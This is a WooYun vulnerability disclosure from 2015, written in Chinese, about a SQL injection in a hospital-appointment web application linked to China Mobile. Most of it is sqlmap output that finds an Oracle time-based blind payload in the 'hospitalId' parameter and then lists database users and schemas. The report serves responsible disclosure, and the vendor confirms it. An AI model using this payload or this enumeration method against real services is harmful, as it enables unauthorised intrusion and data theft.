当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0163570

漏洞标题:【您的生活】和生活官方某处漏洞导致上百万数据流失横跨500多数据库TEST权限威胁内网

相关厂商:中国移动

漏洞作者: 奶嘴

提交时间:2015-12-22 18:00

修复时间:2016-02-09 23:29

公开时间:2016-02-09 23:29

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-22: 细节已通知厂商并且等待厂商处理中
2015-12-26: 厂商已经确认,细节仅向厂商公开
2016-01-05: 细节向核心白帽子及相关领域专家公开
2016-01-15: 细节向普通白帽子公开
2016-01-25: 细节向实习白帽子公开
2016-02-09: 细节向公众公开

简要描述:

RTRT

详细说明:

**.**.**.**:8088/yiyahars_wap/hospital/hospitalDeptInfo?hospitalId=66&usessionid=&hisType=1&accType=1
存在高危注入导致征战数据沦陷

漏洞证明:

[root@Hacker~]# Sqlmap -u "**.**.**.**:8088/yiyahars_wap/hospital/hospitalDeptInfo?hospitalId=66&usessionid=&hisType=1&accType=1"
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 15:15:37
[15:15:37] [INFO] testing connection to the target url
[15:15:39] [INFO] heuristics detected web page charset 'ISO-8859-2'
[15:15:39] [INFO] testing if the url is stable, wait a few seconds
[15:15:42] [INFO] url is stable
[15:15:42] [INFO] testing if GET parameter 'hospitalId' is dynamic
[15:15:43] [INFO] confirming that GET parameter 'hospitalId' is dynamic
[15:15:45] [INFO] GET parameter 'hospitalId' is dynamic
[15:15:46] [WARNING] reflective value(s) found and filtering out
[15:15:46] [WARNING] heuristic test shows that GET parameter 'hospitalId' might not be injectable
[15:15:46] [INFO] testing for SQL injection on GET parameter 'hospitalId'
[15:15:46] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[15:15:56] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[15:16:01] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[15:16:07] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[15:16:13] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[15:16:20] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[15:16:25] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[15:16:30] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[15:16:34] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[15:16:39] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[15:16:43] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[15:16:47] [INFO] testing 'Oracle AND time-based blind'
[15:17:10] [INFO] GET parameter 'hospitalId' is 'Oracle AND time-based blind' injectable
[15:17:10] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[15:17:10] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other potential injection technique found
[15:17:33] [INFO] checking if the injection point on GET parameter 'hospitalId' is a false positive
GET parameter 'hospitalId' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
[15:18:08] [INFO] testing if GET parameter 'usessionid' is dynamic
[15:18:10] [WARNING] GET parameter 'usessionid' appears to be not dynamic
[15:18:10] [WARNING] heuristic test shows that GET parameter 'usessionid' might not be injectable
[15:18:10] [INFO] testing for SQL injection on GET parameter 'usessionid'
[15:18:11] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[15:18:16] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[15:18:19] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[15:18:22] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[15:18:25] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[15:18:28] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[15:18:30] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[15:18:33] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[15:18:35] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[15:18:38] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[15:18:40] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[15:18:43] [INFO] testing 'Oracle AND time-based blind'
[15:18:45] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[15:19:14] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[15:19:46] [WARNING] GET parameter 'usessionid' is not injectable
[15:19:46] [INFO] testing if GET parameter 'hisType' is dynamic
[15:19:47] [WARNING] GET parameter 'hisType' appears to be not dynamic
[15:19:50] [WARNING] heuristic test shows that GET parameter 'hisType' might not be injectable
[15:19:51] [INFO] testing for SQL injection on GET parameter 'hisType'
[15:19:51] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[15:20:17] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[15:20:25] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[15:20:32] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[15:20:38] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[15:20:45] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[15:20:52] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[15:21:00] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[15:21:09] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[15:21:16] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[15:21:25] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[15:21:34] [INFO] testing 'Oracle AND time-based blind'
[15:21:42] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[15:23:19] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[15:24:53] [WARNING] GET parameter 'hisType' is not injectable
[15:24:53] [INFO] testing if GET parameter 'accType' is dynamic
[15:24:54] [WARNING] GET parameter 'accType' appears to be not dynamic
[15:24:55] [WARNING] heuristic test shows that GET parameter 'accType' might not be injectable
[15:24:55] [INFO] testing for SQL injection on GET parameter 'accType'
[15:24:56] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[15:25:17] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[15:25:24] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[15:25:32] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[15:25:39] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[15:25:48] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[15:25:57] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[15:26:05] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[15:26:12] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[15:26:20] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[15:26:27] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[15:26:33] [INFO] testing 'Oracle AND time-based blind'
[15:26:42] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[15:28:15] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[15:29:55] [WARNING] GET parameter 'accType' is not injectable
sqlmap identified the following injection points with a total of 649 HTTP(s) requests:
---
Place: GET
Parameter: hospitalId
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: hospitalId=66 AND 1370=DBMS_PIPE.RECEIVE_MESSAGE(CHR(117)||CHR(98)||CHR(118)||CHR(74),5)&usessionid=&hisType=1&accType=1
---
[15:29:56] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
[15:29:56] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 176 times
[15:29:56] [INFO] fetched data logged to text files under 'C:\Users\dell-pc\AppData\Local\Temp\HZ$D91~1.251\HZ$D91~1.251\SQLMAP~1\Bin\output\**.**.**.**'
[*] shutting down at 15:29:56
[root@Hacker~]# Sqlmap
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 15:29:59
Usage: C:\Users\dell-pc\AppData\Local\Temp\HZ$D91~1.251\HZ$D91~1.251\SQLMAP~1\Bin\SqlMap.exe [options]
SqlMap.exe: error: missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --wizard, --update, --purge-output or --dependencies), use -h for basic or -hh for advanced help
Press Enter to continue...
[*] shutting down at 15:30:00
[root@Hacker~]# Sqlmap -u "**.**.**.**:8088/yiyahars_wap/hospital/hospitalDeptInfo?hospitalId=66&usessionid=&hisType=1&accType=1" --users
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 15:30:20
[15:30:21] [INFO] resuming back-end DBMS 'oracle'
[15:30:21] [INFO] testing connection to the target url
[15:30:22] [INFO] heuristics detected web page charset 'ISO-8859-2'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: hospitalId
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: hospitalId=66 AND 1370=DBMS_PIPE.RECEIVE_MESSAGE(CHR(117)||CHR(98)||CHR(118)||CHR(74),5)&usessionid=&hisType=1&accType=1
---
[15:30:23] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
[15:30:23] [INFO] fetching database users
[15:30:23] [INFO] fetching number of database users
[15:30:23] [WARNING] time-based comparison needs larger statistical model. Making a few dummy requests, please wait..
[15:30:37] [WARNING] it is very important not to stress the network adapter's bandwidth during usage of time-based queries
[15:31:10] [INFO] adjusting time delay to 2 seconds due to good response times
32
[15:31:26] [INFO] retrieved: TEST
[15:32:53] [INFO] retrieved: YIYAH
[15:34:39] [ERROR] invalid character detected. retrying..
[15:34:39] [WARNING] increasing time delay to 3 seconds
ARSUSER
[15:37:26] [INFO] retrieved: SCOTT
[15:39:56] [INFO] retrieved: OWBSY
[15:42:44] [CRITICAL] unable to connect to the target url or proxy, sqlmap is going to retry the request
[15:42:47] [CRITICAL] unable to connect to the target url or proxy, sqlmap is going to retry the request
[15:42:48] [CRITICAL] unable to connect to the target url or proxy, sqlmap is going to retry the request
[15:42:49] [CRITICAL] unable to connect to the target url or proxy
[*] shutting down at 15:42:49
[root@Hacker~]# Sqlmap -u "**.**.**.**:8088/yiyahars_wap/hospital/hospitalDeptInfo?hospitalId=66&usessionid=&hisType=1&accType=1" --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 15:47:02
[15:47:02] [INFO] resuming back-end DBMS 'oracle'
[15:47:03] [INFO] testing connection to the target url
[15:47:04] [INFO] heuristics detected web page charset 'ISO-8859-2'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: hospitalId
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: hospitalId=66 AND 1370=DBMS_PIPE.RECEIVE_MESSAGE(CHR(117)||CHR(98)||CHR(118)||CHR(74),5)&usessionid=&hisType=1&accType=1
---
[15:47:05] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
[15:47:05] [WARNING] schema names are going to be used on Oracle for enumeration as the counterpart to database names on other DBMSes
[15:47:05] [INFO] fetching database (schema) names
[15:47:05] [INFO] fetching number of databases
[15:47:05] [WARNING] time-based comparison needs larger statistical model. Making a few dummy requests, please wait..
[15:47:19] [WARNING] it is very important not to stress the network adapter's bandwidth during usage of time-based queries
1
[15:47:57] [INFO] adjusting time delay to 2 seconds due to good response times
9
[15:48:09] [INFO] retrieved: APEX_0
[15:51:19] [ERROR] invalid character detected. retrying..
[15:51:19] [WARNING] increasing time delay to 3 seconds
3
[15:52:16] [ERROR] invalid character detected. retrying..
[15:52:16] [WARNING] increasing time delay to 4 seconds
02

修复方案:

过滤
有礼物吗?

版权声明:转载请注明来源 奶嘴@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-12-26 23:50

厂商回复:

CNVD确认所述情况,已经转由CNCERT向中国移动集团公司通报,由其后续协调网站管理部门处置。

最新状态:

暂无